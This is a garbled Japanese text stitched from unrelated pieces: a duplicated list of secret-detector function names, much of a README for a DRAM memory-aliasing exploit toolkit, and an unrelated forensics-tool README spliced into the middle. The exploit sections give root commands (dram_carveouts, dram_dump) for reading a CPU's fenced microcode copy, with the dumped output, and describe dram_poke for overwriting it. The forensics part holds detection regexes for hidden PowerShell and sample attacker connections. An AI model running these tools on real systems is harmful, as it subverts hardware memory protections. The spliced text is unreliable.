IDdetect_gcp_project_ids — GCP プロジェクト IDdetect_kubernetes_secrets — Kubernetes のシークレットdetect_docker_secrets — Docker のシークレットdetect_terraform_secrets — Terraform のシークレットdetect_ansible_secrets — Ansible のシークレットdetect_jenkins_secrets — Jenkins のシークレットdetect_gitlab_tokens — GitLab のアクセストークンdetect_bitbucket_tokens — Bitbucket のアクセストークンdetect_jira_tokens — Jira のアクセストークンdetect_confluence_tokens — Confluence のアクセストークンdetect_salesforce_tokens — Salesforce のアクセストークンdetect_zendesk_tokens — Zendesk のアクセストークンdetect_okta_tokens — Okta のアクセストークンdetect_auth0_tokens — Auth0 のアクセストークンdetect_firebase_keys — Firebase の API キーとシークレットdetect_algolia_keys — Algolia の API キーdetect_mapbox_tokens — Mapbox のアクセストークンdetect_contentful_tokens — Contentful のアクセストークンdetect_datadog_keys — Datadog の API キーとアプリケーションキーdetect_new_relic_keys — New Relic の API キーdetect_sentry_keys — Sentry の DSN と認証トークンdetect_pagerduty_keys — PagerDuty の API キーdetect_opsgenie_keys — Opsgenie の API キーdetect_victorops_keys — VictorOps の API キーdetect_splunk_keys — Splunk の API キーdetect_elastic_keys — Elasticsearch の認証情報detect_kibana_keys — Kibana の認証情報detect_grafana_keys — Grafana の API キーdetect_prometheus_keys — Prometheus の認証情報detect_influxdb_keys — InfluxDB の認証情報detect_consul_keys — Consul の ACL トークンdetect_vault_keys — HashiCorp Vault のトークンdetect_nomad_keys — Nomad の ACL トークンdetect_rabbitmq_keys — RabbitMQ の認証情報detect_kafka_keys — Kafka の認証情報detect_zookeeper_keys — ZooKeeper の認証情報detect_cassandra_keys — Cassandra の認証情報detect_couchbase_keys — Couchbase の認証情報detect_neo4j_keys — Neo4j の認証情報detect_influxdb_keys — InfluxDB の認証情報detect_timescale_keys — TimescaleDB の認証情報detect_clickhouse_keys — ClickHouse の認証情報detect_snowflake_keys — Snowflake の認証情報detect_bigquery_keys — BigQuery の認証情報detect_redshift_keys — Redshift の認証情報detect_databricks_keys — Databricks の認証情報detect_tableau_keys — Tableau の認証情報detect_looker_keys — Looker の認証情報detect_powerbi_keys — Power BI の認証情報detect_qlik_keys — Qlik の認証情報detect_microstrategy_keys — MicroStrategy の認証情報detect_sap_keys — SAP の認証情報detect_oracle_keys — Oracle の認証情報detect_sqlserver_keys — SQL Server の認証情報detect_mysql_keys — MySQL の認証情報detect_postgresql_keys — PostgreSQL の認証情報detect_sqlite_keys — SQLite の認証情報detect_mariadb_keys — MariaDB の認証情報detect_db2_keys — DB2 の認証情報detect_informix_keys — Informix の認証情報detect_sybase_keys — Sybase の認証情報detect_teradata_keys — Teradata の認証情報detect_vertica_keys — Vertica の認証情報detect_greenplum_keys — Greenplum の認証情報detect_cockroachdb_keys — CockroachDB の認証情報detect_yugabyte_keys — YugabyteDB の認証情報detect_tidb_keys — TiDB の認証情報detect_oceanbase_keys — OceanBase の認証情報detect_polardb_keys — PolarDB の認証情報detect_gaussdb_keys — GaussDB の認証情報detect_opengauss_keys — openGauss の認証情報detect_hologres_keys — Hologres の認証情報detect_analyticdb_keys — AnalyticDB の認証情報detect_maxcompute_keys — MaxCompute の認証情報detect_hive_keys — Hive の認証情報detect_impala_keys — Impala の認証情報detect_presto_keys — Presto の認証情報detect_trino_keys — Trino の認証情報detect_spark_keys — Spark の認証情報detect_flink_keys — Flink の認証情報detect_beam_keys — Beam の認証情報detect_airflow_keys — Airflow の認証情報detect_dagster_keys — Dagster の認証情報detect_prefect_keys — Prefect の認証情報detect_luigi_keys — Luigi の認証情報detect_azkaban_keys — Azkaban の認証情報detect_argo_keys — Argo の認証情報detect_kubeflow_keys — Kubeflow の認証情報detect_mlflow_keys — MLflow の認証情報detect_kubeflow_keys — Kubeflow の認証情報detect_sagemaker_keys — SageMaker の認証情報detect_vertex_keys — Vertex AI の認証情報detect_azureml_keys — Azure ML の認証情報detect_databricks_keys — Databricks の認証情報detect_snowflake_keys — Snowflake の認証情報detect_bigquery_keys — BigQuery の認証情報detect_redshift_keys — Redshift の認証情報detect_synapse_keys — Synapse の認証情報detect_fabric_keys — Fabric の認証情報detect_powerbi_keys — Power BI の認証情報detect_tableau_keys — Tableau の認証情報detect_looker_keys — Looker の認証情報detect_qlik_keys — Qlik の認証情報detect_microstrategy_keys — MicroStrategy の認証情報detect_sap_keys — SAP の認証情報detect_oracle_keys — Oracle の認証情報detect_sqlserver_keys — SQL Server の認証情報detect_mysql_keys — MySQL の認証情報detect_postgresql_keys — PostgreSQL の認証情報detect_sqlite_keys — SQLite の認証情報detect_mariadb_keys — MariaDB の認証情報detect_db2_keys — DB2 の認証情報detect_informix_keys — Informix の認証情報detect_sybase_keys — Sybase の認証情報detect_teradata_keys — Teradata の認証情報detect_vertica_keys — Vertica の認証情報detect_greenplum_keys — Greenplum の認証情報detect_cockroachdb_keys — CockroachDB の認証情報detect_yugabyte_keys — YugabyteDB の認証情報detect_tidb_keys — TiDB の認証情報detect_oceanbase_keys — OceanBase の認証情報detect_polardb_keys — PolarDB の認証情報detect_gaussdb_keys — GaussDB の認証情報detect_opengauss_keys — openGauss の認証情報detect_hologres_keys — Hologres の認証情報detect_analyticdb_keys — AnalyticDB の認証情報detect_maxcompute_keys — MaxCompute の認証情報detect_hive_keys — Hive の認証情報detect_impala_keys — Impala の認証情報detect_presto_keys — Presto の認証情報detect_trino_keys — Trino の認証情報detect_spark_keys — Spark の認証情報detect_flink_keys — Flink の認証情報detect_beam_keys — Beam の認証情報detect_airflow_keys — Airflow の認証情報detect_dagster_keys — Dagster の認証情報detect_prefect_keys — Prefect の認証情報detect_luigi_keys — Luigi の認証情報detect_azkaban_keys — Azkaban の認証情報detect_argo_keys — Argo の認証情報detect_kubeflow_keys — Kubeflow の認証情報detect_mlflow_keys — MLflow の認証情報detect_kubeflow_keys — Kubeflow の認証情報detect_sagemaker_keys — SageMaker の認証情報detect_vertex_keys — Vertex AI の認証情報detect_azureml_keys — Azure ML の認証情報```text
core 0 000009b8 00 09 e0 fe 00 00 00 00 |........| <- 0xfee00900 enabled, BSP bit set
core 1 000049b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor
core 2 000089b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor
core 3 0000c9b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processorBSPビットがセットされたコアが1つ、セットされていないコアが3つ — ブートプロセッサとその3つのAPが、アイドル状態の途中でレジスタの状態を丸裸にされたまま捕まえられている。
さらにあちこちを探れば、見つかるCPUレジスタはどんどん増えていく:
| オフセット | x86の状態 | core-0の値 |
|---|---|---|
| `+0x8b0` | GS / per-cpuベース | `0xffff9be4e3600000` |
| `+0x9a0` | CR3(ページテーブルのルート) | `0x0fd46000` |
| `+0x9b8` | IA32_APIC_BASE | `0xfee00900` |
| `+0xa38` | 可変MTRR(ベース/マスク) | `0x6f000000 / …0800` |
| `+0xb10` | 保存されたRIP | `0xffffffff8f3a0029` |
もちろん、これらのレジスタはどれもring-0からアクセスできる。*楽しい*のは、そこに存在する*他の*CPU状態の数々 — ring-0では到達できないCPU内部レジスタをつつくことだ。
---
## クイックスタート:CPUマイクロコードのロックを解除する
> *何がうまくいかないというのだろう?*
コアがC6に入ると、そのマイクロコードパッチRAM — 揮発性SRAM — はコアの残りの部分とともに電源が落ちる。そこでC6スタッシュは、ロードされたパッチをDRAMに保持し、ウェイク時に再シードする。そのコピーは各セーブエリアの`+0x1800`にあり、エイリアスは他のバイトと同じようにそこへ到達する。
CPUがフェンスされたDRAMに隠したマイクロコードのコピーを取得する:```sh
./userspace/platform_check || exit 1
eval "$(sudo ./userspace/dram_carveouts --region cc6)"
# page 1 of core 0's save area is the live microcode patch body
sudo ./userspace/dram_dump --protected-pa $((CC6_BASE + 0x1800)) --length 0x5f0 \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > ucode_ram.bin
既知のパッチと照合します:```sh
python3 - <<'EOF' ram = open("ucode_ram.bin", "rb").read() chunks = [ram[i:i+16] for i in range(0, len(ram)-16, 16) if ram[i:i+16].count(0) <= 12] for fam in (15, 16, 17, 19): uc = open(f"/lib/firmware/amd-ucode/microcode_amd_fam{fam}h.bin", "rb").read() print(f"fam{fam}h: {sum(c in uc for c in chunks):2}/{len(chunks)} chunks match") EOF
これは良い兆候です:```text
fam15h: 0/94 chunks match
fam16h: 68/94 chunks match <- the microcode the core is running
fam17h: 0/94 chunks match
fam19h: 0/94 chunks match
ucode の三つ組を抽出します:```sh od -Ax -tx1 -w20 ucode_ram.bin
## 検出
### 1. ファイルシステムの変更
- 新規作成された `.exe`、`.dll`、`.ps1`、`.bat` ファイル
- 一時ディレクトリ (`%TEMP%`、`/tmp`) 内の疑わしいファイル
- ランサムウェアのノート (例: `README.txt`、`DECRYPT_INSTRUCTIONS.html`)
- 削除された実行ファイルの痕跡
### 2. レジストリの変更
- `Run`、`RunOnce`、`Services` キー
- `Winlogon` の `Shell`、`Userinit` の変更
- 疑わしい `AppInit_DLLs` エントリ
### 3. ネットワークアクティビティ
- 不審な IP アドレスへのアウトバウンド接続
- 異常なポートでのリスニング
- DNS トンネリングの兆候
- データ漏洩パターン
### 4. プロセスの動作
- 予期しない親子プロセス関係
- 難読化されたコマンドライン
- プロセスインジェクションの兆候
- 疑わしいメモリ割り当て
### 5. イベントログの相関
- セキュリティイベント ID (4624、4625、4688、4104)
- Sysmon イベント (1、3、7、8、11、13)
- PowerShell スクリプトブロックログ
- Windows Defender の検出
## 出力形式
### コンソール出力
[+] スキャン完了: 2024-01-15 14:32:07 [+] 分析されたアーティファクト: 1,247 [+] 検出された IOC: 23 [+] リスクスコア: 7.8/10 (高)
[!] 重大な検出: - 永続化メカニズム: HKCU...\Run\Updater - 疑わしいプロセス: svchost.exe (PID 4521) - 親: powershell.exe - ネットワーク接続: 192.168.1.100:4444 -> 185.220.101.42:8080 - ファイル作成: C:\Users\Public\update.exe
[+] レポートが保存されました: C:\Reports\forensic_20240115_143207.json
### JSON レポート
```json
{
"scan_metadata": {
"timestamp": "2024-01-15T14:32:07Z",
"hostname": "WORKSTATION-01",
"analyst": "security-team",
"duration_seconds": 187
},
"risk_score": 7.8,
"severity": "high",
"findings": [
{
"category": "persistence",
"severity": "critical",
"description": "Run キーに登録された疑わしいエントリ",
"artifact": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
"mitre_technique": "T1547.001"
},
{
"category": "network",
"severity": "high",
"description": "疑わしい IP へのアウトバウンド接続",
"artifact": "185.220.101.42:8080",
"mitre_technique": "T1071.001"
}
]
}
HTML レポートは以下を含むダッシュボードを提供します:
rules:
- name: suspicious_powershell
description: 難読化された PowerShell コマンドを検出
pattern: "powershell.*-enc.*-w hidden"
severity: high
tags: [execution, defense_evasion]
- name: ransomware_note
description: 一般的なランサムウェアのノートファイルを検出
pattern: "(?i)(decrypt|ransom|recover).*\\.(txt|html|hta)"
severity: critical
tags: [impact]
from forensics_toolkit.plugins import BasePlugin
class CustomAnalyzer(BasePlugin):
name = "custom_analyzer"
version = "1.0.0"
def analyze(self, artifact):
# カスタム分析ロジック
results = self._process(artifact)
return results
def _process(self, artifact):
# 実装
pass
from forensics_toolkit import ForensicAnalyzer
analyzer = ForensicAnalyzer(
target="C:\\Evidence",
config="config.yaml"
)
# スキャンの実行
results = analyzer.scan()
# 特定の検出結果へのアクセス
for finding in results.findings:
print(f"{finding.severity}: {finding.description}")
# レポートのエクスポート
analyzer.export_report("report.json", format="json")
analyzer.export_report("report.html", format="html")
# config.yaml
general:
output_dir: "./reports"
log_level: "INFO"
max_file_size_mb: 100
timeout_seconds: 300
analysis:
enable_yara: true
enable_volatility: true
enable_network: true
enable_registry: true
deep_scan: false
ioc:
custom_rules: "./rules/custom.yaml"
threat_feeds:
- "https://feeds.example.com/ioc.json"
update_interval_hours: 24
reporting:
formats: ["json", "html", "csv"]
include_raw_data: false
mitre_mapping: true
export FORENSIC_CONFIG="/path/to/config.yaml"
export FORENSIC_OUTPUT="/path/to/reports"
export FORENSIC_LOG_LEVEL="DEBUG"
export VT_API_KEY="your_virustotal_api_key"
export MISP_API_KEY="your_misp_api_key"
問題: スキャンがタイムアウトで失敗する
# タイムアウトを増やす
forensics-toolkit scan --timeout 600 --target /evidence
問題: アクセス拒否エラー
# 管理者権限で実行
sudo forensics-toolkit scan --target /evidence
問題: メモリ不足
# バッチサイズを削減
forensics-toolkit scan --batch-size 50 --target /evidence
# 詳細ログを有効化
forensics-toolkit scan --debug --verbose --target /evidence
# 特定のモジュールをテスト
forensics-toolkit test --module registry --verbose
performance:
parallel_workers: 8
memory_limit_mb: 4096
cache_enabled: true
cache_dir: "/tmp/forensics_cache"
batch_processing: true
batch_size: 100
--quick モードを使用する--profile を使用する貢献を歓迎します! 詳細については CONTRIBUTING.md を参照してください。
# リポジトリをクローン
git clone https://github.com/example/forensics-toolkit.git
cd forensics-toolkit
# 仮想環境を作成
python -m venv venv
source venv/bin/activate # Linux/macOS
venv\Scripts\activate # Windows
# 依存関係をインストール
pip install -r requirements.txt
pip install -r requirements-dev.txt
# テストを実行
pytest tests/ -v --cov=forensics_toolkit
このプロジェクトは MIT ライセンスの下でライセンスされています - 詳細については LICENSE ファイルを参照してください。
このツールは、権限のあるセキュリティテストおよびフォレンジック調査のみを目的としています。ユーザーは、適用されるすべての法律および規制を遵守する責任を負います。作者は、このソフトウェアの不正使用について一切の責任を負いません。
免責事項: このツールは、教育および権限のあるセキュリティテストのみを目的としています。適用されるすべての法律を遵守し、テストするシステムに対する適切な承認を常に取得してください。```text 000000 c1 df db eb 28 ac 06 00 f5 ff ff 00 e1 1d 0a f9 ff ef ff 2a 000014 e0 8f 2a c7 ff bf 07 00 ff ff bf 2a e0 1f e0 e7 78 df 7d c0 000028 ff ff cf bf 4c 20 06 00 cf 53 39 00 c0 df db eb fe ff ff 27 [...] 000370 e1 1f c0 bf ff bf 07 00 ff 81 7f 00 e1 1f c0 bf ff 81 7f 00 * 0005f0
そしてそこにある、上部には明確な uops、下部には繰り返される NOP パディング。
そこから、`dram_dump` には兄弟ツール `dram_poke` がある。パッチを読み取ったのと同じエイリアスがそれを書き込むことができる — そしてこのコピーは、アイドル状態から復帰する際にコアがリロードするものである。
次に何をするかはあなたの想像力次第だ。
---
## ビルド```
make # builds kernel/spaghettify.ko and all userspace tools
make clean
root として実行します。詳細は USAGE.md を参照してください。
dram_read保護されたメモリアドレスからの単純な読み取り。
--do-swizzle / --do-bankswap のフリップを DRAM コントローラにプッシュして
スパゲッティ化されたメモリビューに入り、物理アドレス <pa> から 1 つの dword を読み取り、
DCT ビットを復元し、その値を返します。```
dram_read
--pa
--do-swizzle <0|1>
--do-bankswap <0|1>
### `dram_poke`
保護されたメモリ範囲に書き込みます。
各 `--map` は `unspaghettify.py --save-map` によって解決されたスパゲッティ化であり、それ自体は `gather_aliases.py` によって収集されたエイリアスペアから供給されます。保護範囲内のすべての dword のエイリアスは、起動時に一度計算される GF(2) 擬似逆行列を介してマップから復元されます。同じハードウェア上で収集された `(at_swizzle, at_bankswap)` ごとに 1 つのマップを複数渡してカバレッジを広げてください。各スパゲッティ化は異なるランク不足の穴の集合を残し、与えられた dword に最初に到達したマップが優先されます。```
dram_poke
[--dangerously-skip-calibration]
[--calibrate-pa <hex>]
[--strict-holes]
[--no-verify]
[--ignore-fw-mismatch]
[--fenced-range <lo>,<hi>]
[--allow-fenced-alias]
-s, --protected-pa <pa>
-l, --length <n>
--map <file> [--map <file>]...
< in.bin
dram_dump保護されたメモリ範囲から読み取ります。
dram_poke と同じ --map の仕組みを使用します。各マップは unspaghettify.py --save-map によって解決されたスパゲッティ化であり、すべての dword のエイリアスはワンショットの GF(2) 擬似逆行列によって復元され、異なる (at_swizzle, at_bankswap) で収集された複数のマップは、あるマップのランク不足の穴が別のマップによって埋められる範囲を広げます。```
dram_dump
[--dangerously-skip-calibration]
[--calibrate-pa ]
[--dry-run]
[--ignore-fw-mismatch]
[--fenced-range ,]
[--allow-fenced-alias]
-s, --protected-pa
-l, --length
--map [--map ]...
ツールチェーン全体 — `dram_state`、`dram_carveouts`、`dram_alias`、`gather_aliases.py` / `unspaghettify.py` 分析パイプライン、エンドツーエンドの実例、そして内部構造 — は **[USAGE.md](https://github.com/xoreaxeaxeax/skitter-creek-bath-salts/blob/main/USAGE.md)** に文書化されています。
---
## 共有パイプライン
`skitter-creek-bath-salts` は、MCT/DCT 変換の最終段階が、その上に構築されたすべてのもののセキュリティをいかに崩壊させ得るかを探求します。ここで実証されるエクスプロイトは、AMD Family 16h の1つのコンフィグレーションレジスタであり、データシートが出発点として十分な情報を提供したために選ばれました。それが破った*パイプライン*は、至る所に存在します。
チャネルインターリーブ、ランクインターリーブ、バンクインターリーブ、スウィズル、チップセレクトノーマライズ — 現代のメモリコントローラはどれも、そのすべての何らかのバージョンを行っています。AMD。Intel。ARM。RISC-V。モバイル。サーバー。組み込み。同じアーキテクチャ的形状が、すべての根底に横たわっています。
その*上*には、SEV、SGX、TDX、TrustZone、CCA realms、pKVM、CoVE、SEP、PSP、ME、T-SEG、SMRAM、C6 stash が位置しています。DRAM 上に存在するすべてのもの — たとえリング0や CPU 自体から見えないように壁で隔てられていても — は、私たちが探求し始めたばかりの `*p` パイプラインの最終層の上に載っています。
---
## 参考文献
* Black Hat 2026 — Spaghettifying DRAM (近日公開)
---
## 著者
`skitter-creek-bath-salts` は Christopher Domas ([@xoreaxeaxeax](https://x.com/xoreaxeaxeax/)) による研究活動です。
---

---